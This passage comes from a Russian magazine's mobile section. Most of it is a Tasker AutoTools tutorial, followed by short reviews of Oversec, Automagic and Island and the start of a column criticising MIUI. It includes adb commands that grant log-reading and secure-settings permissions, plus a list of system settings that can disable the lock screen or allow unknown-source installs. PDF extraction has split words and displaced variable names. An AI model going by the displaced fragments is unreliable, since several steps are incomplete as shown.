нализи рует о том, что музыка игра ет, с помощью дру гого пла гина — 

.
AutoNoti‐

fication
Соз даем  про филь:  Event →  Plugin →  AutoNotification →  Intercept.  В  кон ‐

фигура ции  в раз деле Apps  выбира ем инте ресу ющие нас пле еры  (допус тим,
VK и Google Play Music). При нима ем усло вие и соз даем дей ствие  (наз вание
мож но  не  вво дить):  New  Task →  Plugin →  AutoTools →  System  State.  В  кон ‐
фигура ции ста вим галоч ку на Audio. Воз вра щаем ся к дей стви ям и добав ляем
перемен ную: Variables → Variable Set. В поле   впи сыва ем 

, а в поле   пишем  . Теперь при каж дом запус ке музыки
перемен ная будет обновлять ся.

Name %MusicPlay‐
ing To %atmusicplaying

Да лее соз даем про филь, реаги рующий на вклю чение музыки: State → Vari‐
ables →  Variable  Value.  Для  усло вий  выбира ем  перемен ную 
(мож но сде лать это, нажав на икон ку в виде бир ки) и для зна чения впи сыва ем

.

%MusicPlaying

true
Соз даем  новое  дей ствие:  New  Task →  Plugin →  AutoTools →  Gestures

Screen. В поле кон фигура ции ищем AutoApps Commands → Swipes → Down.
В  поле  Distances  оставля ем  100,  в  поле  Commands  впи сыва ем  коман ду
stopplaying. Воз вра щаем ся и ана логич ным спо собом про писы ваем  коман ды
nexttrack  для  свай па  впра во,  previoustrack  для  свай па  вле во  и  pausetrack
для  свай па  вверх.  Нажима ем  два  раза  назад  и  ищем  в  спис ке  Background,
в  меню  Color  выбира ем  чер ный  цвет,  пос ле  под твержде ния  сдви гаем  пол ‐
зунок с проз рачностью впра во до упо ра и воз вра щаем ся к дей стви ям.

Нас тро енный  про филь  пос ле  запус ка  музыки  из  выб ранных  при ложе ний
будет  показы вать  чер ный  экран  (эко номя  батарей ку)  и  посылать  вве ден ные
коман ды  при  свай пах  более  100  пик селей.  На  эти  коман ды  надо  сре аги ‐
ровать,  но  сна чала  добавим  воз вра щение  с  чер ного  экра на  при  оста нов ке
музыки. В толь ко что соз данном про филе дол гий тап на дей ствие, затем Add
Exit  Task.  Жмем  на  плю сик,  выбира ем  AutoTools  и  в  кон фигура ции  ста вим
галоч ку на Close Screen.

Что бы  реаги ровать  на  коман ды,  необ ходимо  добавить  еще  четыре  про ‐
филя. На при мере свай па вниз: Event → Plugin → AutoApps. В кон фигура ции
в поле Command Filter  вво дим   и отме чаем  галоч кой Exact,  что бы
не было лож ных сра баты ваний. Далее воз вра щаем ся и соз даем новое дей ‐
ствие Media → Media Control и выбира ем в спис ке Stop. Пов торя ем по ана ‐
логии для осталь ных команд. Для коман ды pausetrack выбира ем Toggle Pause.

stopplaying

Все.  Име ем  рабочий  про филь.  Что бы  про филь  сра баты вал  толь ко
при про игры вании музыки  в машине,  необ ходимо дол гим  тапом на  усло вии
AutoNotification  Intercept  в  пер вом  про филе  добавить  допол нитель ное  усло ‐
вие  BT  Connected  и,  нажав  на  лупу  спра ва  ввер ху,  выб рать  из  спис ка  при ‐
емник в машине.

Про фили управле ния музыкой

ДИАЛОГ С ВЫБОРОМ ВАРИАНТОВ
Фун кция  Dialog  поз воля ет  вывес ти  на  экран  раз личные  типы  диало гов
для  вза имо дей ствия  с  поль зовате лем и  реаги ровать  на  получен ные отве ты.
Диало ги мож но встра ивать в про фили, дей ствия и так далее. Нап ример, мож ‐
но вывес ти допол нитель ную информа цию или пре дуп режде ние с кноп кой 
и про дол жить выпол нение толь ко пос ле нажатия на нее. Как вари ант — кноп ‐
ки   и   или  / . Мож но вывес ти спи сок, зап росить цвет или дату
со вре менем, зап росить ввес ти текст или при ложить палец к ска неру отпе чат ‐
ков.

ОK

ОK Cancel Yes No

До бав ляем  дей ствие  Plugin  →  AutoTools  →  Dialog  и  в  кон фигура ции
выбира ем  2 Choices. Далее  вво дим  заголо вок  (Title)  и  текст,  который  будет
на  кноп ках Choice  one  и Choice  two.  При желании мож но  нас тро ить  икон ку,
бэк гра унд  и  коман ды,  отправ ляемые  нажати ем  на  каж дый  из  отве тов.
По умол чанию они пов торя ют текст кно пок. Реаги ровать на эти коман ды мож ‐
но, отлавли вая перемен ную  .%atcommand

Вы бор вида диало га и диалог с дву мя отве тами

ЗАЩИТА ПРИЛОЖЕНИЙ С ПОМОЩЬЮ ПАРОЛЯ ИЛИ ОТПЕЧАТКА
ПАЛЬЦА
Ту же фун кцию Dialog мож но исполь зовать для зап роса отпе чат ка паль ца. Я
покажу, как нас тро ить бло киров ку с рас позна вани ем отпе чат ка на любую про ‐
гу (для устрой ств, где этот ска нер есть).

Соз даем  задание  (Task)  с  наз вани ем  «Отпе чаток»:  Plugin →  AutoTools →
Dialog. Выбира ем  тип диало га Fingerprint. Запол няем Title и Text,  количес тво
попыток, текст при неудач ном рас позна вании. Воз вра щаем ся и ста вим галоч ‐
ку  на  Continue  Task  after  error,  ина че  пос ле  неудач ного  рас позна вания  дей ‐
ствие прос то оста новит ся и ничего не про изой дет.

Да лее  добав ляем  дей ствие  Task →  If.  Для  перемен ной  исполь зуем 
, для зна чения — циф ру  , которая отве чает за ска нер (1 — это кноп ка

Cancel  в  диало ге).  Пос ле  удач ного  рас позна вания  выведем  текст,  для  чего
добавим  Alert →  Flash.  Затем  добавим  Task →  Else  и  впи шем  текст  пос ле
неуда чи  так же  через  Alert →  Flash.  Пос ле  чего  добавим  App →  Go  Home.
Это  выкинет  дей ствие  на  домаш ний  экран,  если  рас позна вание  не  уда лось
или была нажата кноп ка Cancel. Зак роем это дело через Task → End If.

%at‐
button 2

Те перь соз дадим новый про филь с усло вием Application и выберем необ ‐
ходимые  про ги,  нап ример  Google  Photos  или  соц сети.  В  качес тве  задачи
(Task) ука зыва ем толь ко что соз данный «Отпе чаток».

По  ана логии  мож но  соз дать  про филь  с  зап росом  пароля,  исполь зуя
в диало ге Input Text вмес то Fingerprint.

Нас трой ка ска нера отпе чат ков на запуск прог

РАСПОЗНАВАНИЕ ТЕКСТА ИЗ ФОТО С ДОБАВЛЕНИЕМ ЗАМЕТКИ В
GOOGLE KEEP
Сра зу  ого ворюсь,  длин ные  тек сты  из  докумен тов  рас познать  не  получит ся.
Фото дол жно быть на белом фоне с чет ко чита емым тек стом.

Нам понадо бит ся пла гин   и импорти рован ный Intent с наз вани ем
.

AutoShare
Image — Take Photo

Соз даем Task с наз вани ем Save text  to Keep. Добавим дей ствие Plugin →
AutoShare →  AutoShare.  В  кон фигура ции  на  вклад ке  App  выбира ем  Image.
На вклад ке Action → Take  Image. На вклад ке File Path вво дим путь, где будет
лежать  вре мен ный  файл.  Нап ример, 

.  Пос ле  это го  идем  назад  и  для  про вер ки  добав ляем  дей ствие  Alert →
Flash, в поле Text вво дим перемен ную  .

file:///storage/emulated/0/temp.
jpg

%asfilepath
Для рас позна вания  тек ста нам понадо бит ся добавить дей ствие Plugin →

AutoTools → OCR. В поле  Image необ ходимо ввес ти ту же перемен ную 
.  Сле дом  добав ляем  Alert  →  Flash  и  в  качес тве  тек ста  вво дим

перемен ную, отве чающую за рас познан ный текст, —  .

%as‐
filepath

%atocrvalue()
Да лее  необ ходимо  закинуть  текст  в  буфер  обме на  через  все  тот  же  Set

Clipboard, но мы офор мим это как замет ку. Соз даем сле дующим дей стви ем
Plugin → AutoShare → AutoShare, на вклад ке Find Compatible Apps выбира ем
Google Keep и в гра фе Text вво дим  .%atocrvalue()

Сох раня ем,  прис ваиваем  икон ку,  добав ляем  на  рабочий  стол.  Пос ле
запус ка дела ем фото, и в резуль тате откро ется Google Keep с редак тиру емой
замет кой и рас познан ным тек стом.

Про филь рас позна вания тек ста из фотог рафии

ПРОГРАММИРУЕМЫЙ ФОНАРИК
Фун кция  Flashlight:  Plugin →  AutoTools →  Flashlight.  Мож но  вклю чить,  вык ‐
лючить, перек лючить сос тояние или про мигать шаб лон. Мож но исполь зовать
пла гин    для  управле ния  фонари ком  голосом  или  прос то  соз дать
дей ствие Toggle, прик репить к нему икон ку и вынес ти на рабочий стол. Тог да
мож но вклю чать и вык лючать фонарик, не вле зая в нас трой ки.

AutoVoice

Так же мож но ввес ти шаб лон (pattern) для мигания в мил лисекун дах через
запятую, где пер вое чис ло — это пауза, а вто рое — вре мя све чения све тоди ‐
ода.  При ятное  допол нение  —  воз можность  «нас тучать»  шаб лон  мигания,
для это го исполь зует ся Vibration Pattern Creator, который явля ется частью раз ‐
дела Vibration и выпол няет ана логич ные фун кции. Прос то сту чим три корот ких,
три  длин ных,  три  корот ких  и  получа ем  SOS  на  выходе.  Ну  или  мож но  про ‐
мигать  что‐нибудь  посерь езнее  с  помощью  импорта  соз данно го  про екта

.  Для    исполь зует ся  фра за,  которую  необ ходимо
про мигать (толь ко циф ры и англий ские бук вы). Перевес ти про ект на рус ский
мож но самос тоятель но, поп равив конец XML‐фай ла, в котором ука заны соот ‐
ветс твия букв коду.

Morse_Code.prj Parameter  1

Нас трой ка фонари ка

СНЯТИЕ ЛОГОВ
Час то  при  раз личных  ошиб ках  или  тес тирова нии  при ложе ний  поль зовате ли
стал кива ются с тем, что раз работ чики или более прод винутые поль зовате ли
про сят  ски нуть  им  LogCat.  И  тут  менее  зна ющие  начина ют  искать  по  Сети,
да и у прод винутых это занима ет вре мя, так как нужен комп или эму лятор тер ‐
минала.

Я  покажу,  как  авто мати зиро вать  этот  про цесс  и  сэконо мить  вре мя,  нас ‐
тро ив  один  раз  необ ходимый  про филь  в  «Тас кере».  Напом ню,  что  root
не нужен, но необ ходимо раз решение чте ния логов для AutoTools. Дать такое
раз решение мож но, вой дя на устрой ство с помощью   и выпол нив  такую
коман ду:

ADB

$ adb shell pm grant com.joaomgcd.autotools android.permission.READ_L
OGS 

Итак, для начала соз даем задание с наз вани ем LogCat через Plugin → Auto‐
Tools →  LogCat. В  кон фигура ции  на  вклад ке  Level  выбира ем  зна чение Error.
Ниже  мож но  добавить  клю чевые  сло ва  и  количес тво  строк  для  вывода  (по
умол чанию 100).

Для про вер ки пер вой стро ки логов добав ляем Alert → Flash и в поле Text
вво дим  .  Добав ляем  AutoTools →
Arrays сле дующим дей стви ем. Это раз дел для работы с мас сивами.

%atlogtime(1)  %atlogtag(1)  %atlog(1)

На  вклад ке  Input  Arrays  вво дим  зна чения 
. Их мож но вста вить, нажав на кноп ку в виде бир ки. Воз вра щаем ся

и  перехо дим  на  вклад ку Merging. Отме чаем Merge  Arrays  галоч кой  и  в  поле
Merged  Array  Name  вво дим  .  В  поле  Merge  Format  вво дим  «  ‐  »  (без
кавычек: про бел дефис про бел). В поле Join Merged Arrays один раз нажима ‐
ем Enter (для перево да стро ки), затем кноп ку ОK.

%atlogtime()|%atlogtag()
|%atlog()

atlogs

На выходе мы получим перемен ную   с мас сивом оши бок в удоб ‐
ном  для  вос при ятия  виде.  Что  с  ней  делать  далее,  решать  тебе.  Мож но
копиро вать в буфер обме на, добавив дей ствие System → Set Clipboard и ука ‐
зав   в качес тве аргу мен та. Или сра зу отправ лять на email через пла ‐
гин AutoShare.

%atlogs

%atlogs

Сня тие логов с устрой ства

УПРАВЛЕНИЕ ЗАКРЫТЫМИ НАСТРОЙКАМИ
Фун кция  Secure  Settings  поз воля ет  изме нять  нас трой ки,  по  умол чанию  зак ‐
рытые для дру гих при ложе ний, нап ример GPS и перек лючение режимов точ ‐
ности  обна руже ния,  вклю чение/отклю чение  экра на  бло киров ки,  вклю чение
режима эко номии батареи.

Пра ва  root  для  это го  не  нуж ны,  но,  как  и  в  слу чае  с  LogCat,  необ ходимо
дать пра ва на изме нение этих нас тро ек с помощью ADB:

$ adb shell pm grant com.joaomgcd.autotools android.permission.WRITE_
SECURE_SETTINGS

Пос ле это го мож но соз давать про фили. Сам про цесс опи сывать не буду, он
доволь но прос той и укла дыва ется прак тичес ки в одно дей ствие «Если… то…».
Отме чу, что работос пособ ность команд зависит от вер сии Android. При веду
лишь  нес коль ко  use  case’ов,  отно сящих ся  к  Plugin →  AutoTools →  Secure
Settings:

при  вклю чении  карт,  навига ции  или  при  сня тии  фото  —  вклю чать  мак ‐
сималь ную точ ность опре деле ния коор динат через Location Mode → High
Accuracy. При выходе ски дывать на Off;

•

от клю чение  мобиль ной  переда чи  дан ных  при  под клю чении  к  домаш ней
точ ке дос тупа;

•

вклю чение  режима  эко номии  батареи  на  ночь  через  Battery  Saver  →
Enable;

•

вклю чение голосо вого вво да тек ста, если телефон лежит на горизон таль ‐
ной повер хнос ти, и перек лючение на кла виату ру при взя тии в руки через
Services → Input Method;

•

вклю чение  ноч ного  режима  (оран жевый  отте нок)  или  уро вень  яркости
по  тай меру  вечером  через  Display →  Night  Mode  и  Display →  Adaptive
brightness level;

•

из менение  полити ки  отоб ражения  уве дом лений  на  экра не  бло киров ки
в зависи мос ти от мес тонахож дения через Lock Screen → Show Private Noti‐
fications и отклю чение бло киров ки экра на при кон некте к домаш ней точ ке
дос тупа;

•

за пуск опре делен ных при ложе ний с выб ранной ори ента цией экра на.•

Воз можнос ти Secure Settings

Так же мож но про изволь но менять дру гие сис темные и гло баль ные нас трой ки
из  одно го  мес та.  Изме нение  час ти  нас тро ек  было  показа но
в номере 197 в статье « ». Я опи сывал слож ный кейс
с  изме нени ем  зна чений  непос редс твен но  в  базе  на  устрой стве  с  исполь ‐
зовани ем  root.  Тут  это  дела ется  так же  в  одно  дей ствие  прис воением  зна ‐
чения  перемен ной.  Пол ный  перечень  команд  мож но  узнать,  под клю чив
устрой ство к ком пу и выпол нив из кон соли сле дующие коман ды:

SQLite под мик роско пом

$ adb shell settings list system
$ adb shell settings list global
$ adb shell settings list secure

При веду  наибо лее  инте рес ные  коман ды  из  переч ня  c  ука зани ем  при меров
аргу мен тов:

 — затем няет экран (при мер зна чения: 1);• dim_screen
 — мас штаб шриф та (1.0);• font_scale

  —  перек лючение  виб рации  при  нажатии
на кноп ки (1);

• haptic_feedback_enabled

 — яркость экра на (78);• screen_brightness
  —  вре мя  вык лючения  экра на  в  мил лисекун дах

(600000);
• screen_off_timeout

 — показы вать нажатия (1);• show_touches
 — виб рация при звон ке (1);• vibrate_when_ringing

 — вклю чение отладки по ADB (1);• adb_enabled
 — безопас ный уро вень аудио (3);• audio_safe_volume_state

 — отоб ражение меню нас тро ек раз ‐
работ чика (1);

• development_settings_enabled

 — имя устрой ства (Nexus 5);• device_name
 — перек лючение переда чи дан ных (1);• mobile_data

 — иден тифика тор устрой ства ( );• android_id 3861a499dd504976
  —  МАС‐адрес  для  Bluetooth  (

);
• bluetooth_address 78:F8:82:56:81:
E6

  —  вклю чение  уста нов ки  при ложе ний
из неиз вес тных источни ков (1);

• install_non_market_apps

 — отклю чение экра на бло киров ки (0);• lockscreen.disabled
  —  нуж но  ли  запус кать  мас тер  пер вичной  нас ‐

трой ки телефо на при заг рузке (1).
• user_setup_complete

ДРУГИЕ ВОЗМОЖНОСТИ
Сре ди дос тупных воз можнос тей пла гина так же есть фор матиро вание тек ста,
матема тичес кие  опе рации  с  чис лами  и  мас сивами  чисел,  под твержде ние
выпол нения опе рации для про дол жения про филя, кас томные вклад ки Google
Chrome  (нап ример,  толь ко  новые  неп рочитан ные  сооб щения  на  форуме),
чте ние и запись JSON, работа с регуляр ными выраже ниями для отсле жива ‐
ния изме нений на сай тах, выпол нение SSH‐команд на уда лен ном устрой стве.

ЗАКЛЮЧЕНИЕ
На деюсь,  я  в  оче ред ной  раз  под виг  тебя  изу чать  Tasker  и  экспе римен ‐
тировать  над  устрой ства ми.  Ведь  с  его  помощью  мож но  соз давать  уди ‐
витель ные  вещи  и,  по  сути,  реали зовы вать  фун кци ональ ность  мно гих  прог,
добав ляя новые воз можнос ти,  а не ждать,  ког да это сде лают раз работ чики.
Пиши в ком мента риях, каких фун кций не хва тает в «Тас кере» имен но тебе, —
воз можно, реали зация этих зап росов уже дав но есть в пла гинах.

mailto:john.brada.doe@gmail.com
https://xakep.ru/2014/05/25/tasker-full-using/
https://play.google.com/store/apps/details?id=com.joaomgcd.autotools
https://play.google.com/store/apps/details?id=com.joaomgcd.autonotification
ttps://play.google.com/store/apps/details?id=com.joaomgcd.autoshare
http://goo.gl/55fymp
https://play.google.com/store/apps/details?id=com.joaomgcd.autovoice
http://goo.gl/M5x1su
https://xakep.ru/2016/05/12/android-adb/
https://xakep.ru/2015/06/27/sqlite-197/
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X‐MOBILE

OVERSEC — УТИЛИТА, КОТОРАЯ ДОБАВЛЯЕТ ПОДДЕРЖКУ
ШИФРОВАНИЯ В ЛЮБОЕ ПРИЛОЖЕНИЕ
Пред ставь,  что  у  тебя  есть  некая  кон фиден циаль ная  информа ция,  которую
необ ходимо  передать  по  откры тым  источни кам  вто рому  лицу.  Логич ный
выход — заг нать сооб щение в OpenPGP, зашиф ровать, ско пиро вать, отпра ‐
вить, передать адре сату ключ. Удоб но? А если речь о телефо не? А если все
нуж но сде лать быс тро? Так вот: ты можешь лег ко добавить под дер жку шиф ‐
рования  в  любое  из  уста нов ленных  при ложе ний  и  отправ лять  зашиф рован ‐
ные сооб щения как обыч ный текст.

Се год ня  мы  погово рим  об  ,  шиф рующем  при ложе нии,  которое
интегри рует ся, если мож но так выразить ся, прак тичес ки в любое дру гое при ‐
ложе ние. То есть ты в бук валь ном смыс ле можешь запус тить кли ент соци аль ‐
ных сетей, написать сооб щение на сте ну, нажать кноп ку «Отпра вить», и сооб ‐
щение будет  опуб ликова но  в  зашиф рован ном  виде,  при чем  с  любыми  выб ‐
ранны ми тобой опци ями.

Oversec

Прос той при мер: шиф рован ное СМС. Уста нав лива ем Oversec, сра зу пос ‐
ле  уста нов ки даем ему пра ва Accessibility‐сер виса  (появит ся окно нас тро ек,
в  котором  надо  най ти  при ложе ние),  далее  выбира ем  при ложе ния,
для  которых  будет  акти виро вано шиф рование  (по  умол чанию  в  спис ке  есть
СМС, Gmail и Skype, но мож но выб рать любое дру гое), и мы готовы.

Пер вичная нас трой ка Oversec

Те перь откры ваем при ложе ние СМС/ММС и видим изме нения, а имен но три
круг лые кноп ки: две свер ху и одну поверх кноп ки «Отпра вить». Вво дим сооб ‐
щение,  нажима ем  «Отпра вить»,  видим  окно  выбора  типа  шиф рования.
Для при мера выбира ем Simple  (шиф рование на осно ве пароля), добав ляем
новый пароль и нажима ем кноп ку со знач ком зам ка, при ложе ние вновь воз ‐
вра щает  нас  на  экран  отправ ки  СМС,  и  теперь  сооб щение  мож но  пос лать
в зашиф рован ном виде.

От прав ляем шиф рован ное СМС

Удоб но? Не очень — ска жешь ты. Но на самом деле все эти шаги необ ходимо
выпол нить  толь ко один раз. Теперь,  что бы отпра вить зашиф рован ную СМС,
тебе дос таточ но… прос то отпра вить СМС. Не хочешь зашиф рован ную — нет
проб лем, прос то наж ми пра вую оран жевую кноп ку свер ху и отправ ляй сколь ‐
ко хочешь. И так будет с каж дым из при ложе ний, которые ты выб рал, — прос ‐
то  вби вай сооб щение,  и оно авто мати чес ки шиф рует ся.  Глав ное,  не  забудь
передать вто рой сто роне пароль.

Ес тес твен но, при нима ющая сто рона тоже дол жна уста новить при ложе ние
и добавить в него твой пароль. Ина че для нее все твои сооб щения будут выг ‐
лядеть  как  непонят ный  набор  сим волов.  Для  пущей  надеж ности  вмес то
пароля мож но исполь зовать шиф рование на осно ве клю ча, а если ты сов сем
не  доверя ешь  механиз мам  шиф рования  Oversec,  он  уме ет  исполь зовать
OpenPGP.  Дос таточ но  уста новить  его  откры тую  и  про верен ную  реали ‐
зацию —  .  В  этом  слу чае  ты  получишь  пре иму щес тво  еще  и
в  том,  что  при нима ющая  сто рона  смо жет  рас шифро вать  сооб щение
с помощью любой реали зации OpenPGP.

OpenKeyChain

В  целом  Oversec —  это  дей стви тель но  очень  инте рес ное,  даже  с  точ ки
зре ния кон цепции, при ложе ние. Реали зация исполь зуемых в нем алго рит мов
шиф рования находит ся в   (для инте ресу ющих ся: это поточ ‐
ный шифр  ). Oversec мож но исполь зовать для шиф рования заметок
Google Keep, при чем с рас шифров кой строк, толь ко пока они вид ны на экра ‐
не. Ну и в целом он оставля ет ощу щение дос таточ но гра мот но про рабо тан ‐
ного,  хоть и нем ного под глю чива юще го при ложе ния. Одна ко есть в Oversec
одна осо бен ность, которая дос тавля ет проб лемы.

от кры том дос тупе
ChaCha 20

Де ло  в  том,  что  Oversec  —  это  так  называ емый  овер лей,  то  есть  окно,
которое  появ ляет ся  поверх  окна  дру гого  при ложе ния  и  перех ватыва ет
управле ние  (да‐да,  это  тот  самый  при ем,  который  так  любят  исполь зовать
бан ков ские тро яны). И все бы ничего, вот толь ко не каж дое при ложе ние дает
дос туп  к  собс твен ному  окну  кому  угод но.  Нап ример,  Telegram  зап реща ет
делать  это  вооб ще  (как  и  сни мать  скрин шоты  сек ретных  чатов,  к  сло ву
говоря),  а  с  дру гими  при ложе ниями  могут  воз никнуть  те  или  иные  проб ‐
лемы  —  о  них  ты  можешь  про читать  в  .  Но  все  же
в боль шинс тве слу чаев Oversec «прос то работа ет».

офи циаль ной  справ ке

AUTOMAGIC: АНАЛОГ TASKER С ЧЕЛОВЕЧЕСКИМ ЛИЦОМ
В мар кете мож но най ти мно жес тво при ложе ний для авто мати зации рутин ных
дей ствий. Наибо лее извес тные — это Tasker, Locale и Atooma, одна ко все они
доволь но  слож ны  в  исполь зовании  и  тре буют  под готов ки  и  понима ния  спе ‐
циаль ных тер минов. Automagic сущес твен но отли чает ся от них, пре дос тавляя
поль зовате лю  наг лядный  интерфейс  для  пос тро ения  цепочек  дей ствий
и зависи мос тей.

Как  и  перечис ленные  при ложе ния,    пред став ляет  собой  неч то
вро де визу аль ной сре ды прог рамми рова ния, которая поз воля ет «зап рограм ‐
мировать»  смар тфон  на  выпол нение  опре делен ных  дей ствий  (запуск  при ‐
ложе ния,  вклю чение  фун кции  и  тому  подоб ное)  при  воз никно вении
какого‐либо события (зво нок, СМС, под клю чение к заряд нику или Wi‐Fi‐сети).

Automagic

Automagic под держи вает боль шое количес тво типов событий и дей ствий,
так  что  с  его  помощью мож но  зап рограм мировать  самые  раз ные  вари анты
поведе ния смар тфо на — от акти вации без звуч ного режима при перево роте
смар тфо на  экра ном  вниз  до  слож ных  пос ледова тель нос тей,  вклю чающих
в себя перемен ные, усло вия и цик лы.

От личие  Automagic  сос тоит  в  том,  что  вмес то  запутан ных  сис тем  меню
и кно пок здесь исполь зует ся визу аль ная сре да, в которой прог рамми рова ние
дей ствий напоми нает пос тро ение блок‐схем, зна комых каж дому еще по уро ‐
кам  информа тики.  А  это  нам ного  наг ляднее  и  удоб нее  интерфей сов  Tasker
и Locale.

От прос того к слож ному

Кро ме  того,  Automagic  из  короб ки  под держи вает фун кции Android,  для  дос ‐
тупа  к  которым  в  том же  Tasker  необ ходимо  уста нав ливать  допол нитель ные
пла гины. Нап ример,  он  уме ет  вклю чать  и  отклю чать GPS  (при  наличии  прав
root), выпол нять коман ды с помощью SSH, заливать фай лы в Dropbox, Google
Drive  и  FTP,  пуб ликовать  тви ты  и  отправ лять  уве дом ления  на  часы. Он  даже
уме ет обра баты вать HTTP‐зап росы и голосо вые коман ды.

Це на все го это го велико лепия — 113 руб лей. Но дос тупна и 
. Она не уре зана в воз можнос тях, но работа ет толь ко десять дней.

проб ная вер ‐
сия

ISLAND — УТИЛИТА ДЛЯ ИЗОЛЯЦИИ И ЗАМОРОЗКИ ПРИЛОЖЕНИЙ
БЕЗ ROOT
Поль зуясь смар тфо ном на Android, под хва тить вирус про ще прос того. Но что,
если подоз ритель ное при ложе ние все‐таки необ ходимо уста новить? В таком
слу чае  ты  прос то  можешь  не  дать  ему  прав  на  чте ние  кон фиден циаль ной
информа ции.  Но  будет  ли  оно  пос ле  это го  работать  кор рек тно?  Можешь
не  ломать  голову  —  Island  поможет  тебе  не  прос то  спря тать  свои  дан ные
от  при ложе ния,  а  заморо зить  его,  если  ты  не  хочешь,  что бы  при ложе ние
висело в фоне.

  исполь зует  фун кцию  managed  profile  (управля емый  про филь),
появив шуюся  в  Android  5.0  как  часть  плат формы  Android  for  Work.  Managed
profile  поз воля ет  соз дать  неч то  вро де  кон тро лиру емой  сре ды  исполне ния
при ложе ний,  которая  будет  опре делять,  какие  при ложе ния  могут  работать
в этой сре де и  к  каким фун кци ям смар тфо на они будут иметь дос туп.  Island
исполь зует  эту  воз можность,  что бы  по мак симум  отре зать  ука зан ные  тобой
при ложе ния  от  сис темы,  пол ностью  сох ранив  их  работос пособ ность  (фак ‐
тичес ки они это го даже «не пой мут»).

Island

Спи сок при ложе ний в Island

Все, что нуж но сде лать, — это выб рать при ложе ние в спис ке, пос ле чего оно
будет  кло ниро вано  и  раз мещено  в  песоч нице.  Пос ле  это го  мож но  уда лить
ори гинал и спо кой но исполь зовать клон при ложе ния, не заботясь о том, что
оно смо жет про читать спи сок тво их кон тактов, исто рию звон ков, прос мотреть
фото и тому подоб ное. В любой момент при ложе ние мож но заморо зить (для
это го необ ходимо тап нуть на при ложе ние и нажать зна чок зам ка). Пос ле это ‐
го  сис тема  его  не  уви дит.  Ты  даже  можешь  нас тро ить  авто мати чес кую
замороз ку при ложе ний при вык лючен ном экра не с помощью Greenify.

Сам автор пред лага ет сле дующие вари анты исполь зования Island:
за мороз ка при ложе ний, что бы подавить их фоновую активность;•
за щита от не вызыва ющих доверия при ложе ний;•
ис поль зование сра зу двух копий при ложе ния, при вязан ных к раз ным акка ‐
унтам;

•

ар хивация ред ко исполь зуемых при ложе ний;•
скры тие при ложе ний.•

Island  —  пол ностью  бес плат ная  ути лита,  но  для  ее  уста нов ки  необ ходимо
при соеди нить ся  к  коман де  тес тиров щиков  (это  мож но  сде лать  пря мо
на стра нице Island в Google Play).

https://play.google.com/store/apps/details?id=io.oversec.one
https://play.google.com/store/apps/details?id=org.sufficientlysecure.keychain
https://github.com/oversecio/oversec_crypto
https://ru.wikipedia.org/wiki/Salsa20#ChaCha
https://help.oversec.io/index.html
https://play.google.com/store/apps/details?id=ch.gridvision.ppam.androidautomagic
http://automagic4android.com/en/evaluation
https://play.google.com/apps/testing/com.oasisfeng.island
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X‐MOBILE

MIUI  —  отличная  опе раци онка  и  хороший  при мер  того,
до  какой  сте пени  мож но  изме нить  Android,  если  захотеть
прев ратить его в неч то боль шее. И как ни стран но, по той же
самой  при чине  это  пло хая  опе раци онка,  лома ющая  тех ‐
нологии, на которых пос тро ен Android, так, что сис темой уже
нель зя поль зовать ся без ощу щения дис комфор та.

Это колон ка разоча рова ния, так что я не буду перечис лять дос тоинс тва MIUI.
Это уже дав но и не раз сде лали дру гие люди. Я же хочу погово рить о том, что
дела ет  про шив ку  пло хой,  а  в  некото рых момен тах  не  прос то  пло хой,  а  неп ‐
ригод ной к исполь зованию. И дело тут вов се не в при выч ке, а в осо бен ностях
самой сис темы.

ИЗ КИТАЯ С ЛЮБОВЬЮ
Нач нем с того, что MIUI — это про дукт китай ской ком пании, соз данный в пер ‐
вую оче редь для уста нов ки на китай ские смар тфо ны про изводс тва Xiaomi. Что
это  озна чает  на  деле?  А  озна чает  это  сле дующее:  в  Китае  законо датель но
зап рещены сер висы Google, поэто му MIUI силь но завяза на на сер висы Xiaomi
и дру гих китай ских ком паний. И все бы ничего, да вот толь ко мно гие из этих
сер висов в прин ципе не рас счи таны на при мене ние за пре дела ми Под небес ‐
ной.

Как  резуль тат,  даже  перек лючив  язык  про шив ки  на  англий ский  или  рус ‐
ский, ты пос тоян но будешь стал кивать ся с забав ными ситу ациями. Нап ример,
магазин  тем  здесь  исклю читель но  на  китай ском,  что  логич но:  залива ют  эти
темы китай цы с китай ским же опи сани ем. Мес тный музыкаль ный и виде остор
опять на китай ском, ищи как хочешь. Китай ский язык ты уви дишь и в бра узе ‐
ре, и в диале ре (спра воч ник), и даже на вид жете погоды. И все эти при ложе ‐
ния нель зя отклю чить.

Бра узер и спра воч ник номеров

Сер висов  Google  и  магази на  при ложе ний  в  про шив ке  нет,  но  толь ко  в  том
слу чае,  если  речь  идет  о  локаль ной  китай ской  вер сии.  Гло баль ные  вер сии
MIUI,  пре дус танав лива емые  на  экспортные  смар тфо ны  Xiaomi,  вклю чают
в  себя  сер висы  и  при ложе ния  Google,  прек расно  переве дены  в  том  чис ле
на рус ский и лишены при вяз ки к «исклю читель но китай ским» сер висам.

Проб лема здесь толь ко в том, что если ты ска чаешь MIUI с 4PDA или XDA
для смар тфо на дру гого про изво дите ля, то зачас тую это будет имен но китай ‐
ская вер сия про шив ки. Сер висы Google и Play Store при дет ся ста вить самому
(с помощью спе циаль ного при ложе ния для MIUI либо с помощью при ложе ния

), при чем далеко не факт, что они зарабо тают.Open GApps
Ес ли же ты закажешь смар тфон Xiaomi в китай ском интернет‐магази не, то

впол не можешь получить девайс с китай ской вер сией про шив ки, на которую
про давец  забот ливо  (и  зачас тую  кри во)  пос тавил  сер висы Google.  Пароч ка
тро янов в ком плек те тоже не ред кость.

БОЛЬШЕ ПРОШИВОК, БОЛЬШЕ ВЕРСИЙ
Од нако не  толь ко ори енти рова нием на рынок  сбы та раз лича ются про шив ки
MIUI.  Китай ская  и  гло баль ная  —  это  толь ко  вер шина  айсбер га.  Так же  ты
можешь нат кнуть ся:

на полу офи циаль ную, не под держи ваемую Xiaomi гло баль ную вер сию про ‐
шив ки  для  смар тфо нов  Xiaomi.  Она  рас простра няет ся  через  сайт

;

•

xiaomi.eu
офи циаль ную  китай скую  вер сию  про шив ки  для  смар тфо нов  дру гих  про ‐
изво дите лей. Ее мож но най ти на сай те  ;

•
en.miui.com

не офи циаль ную китай скую вер сию про шив ки для смар тфо нов дру гих про ‐
изво дите лей. Как ни стран но, най ти ее мож но там же;

•

не офи циаль ную рос сий скую вер сию про шив ки от  . Соб рана на базе
китай ской с допол нитель ным перево дом, сер висами Google и с заменой
фир менной кла виату ры для набора иерог лифов на Google Keyboard;

• miui.su

не офи циаль ную китай скую вер сию про шив ки, соб ранную с помощью Pat‐
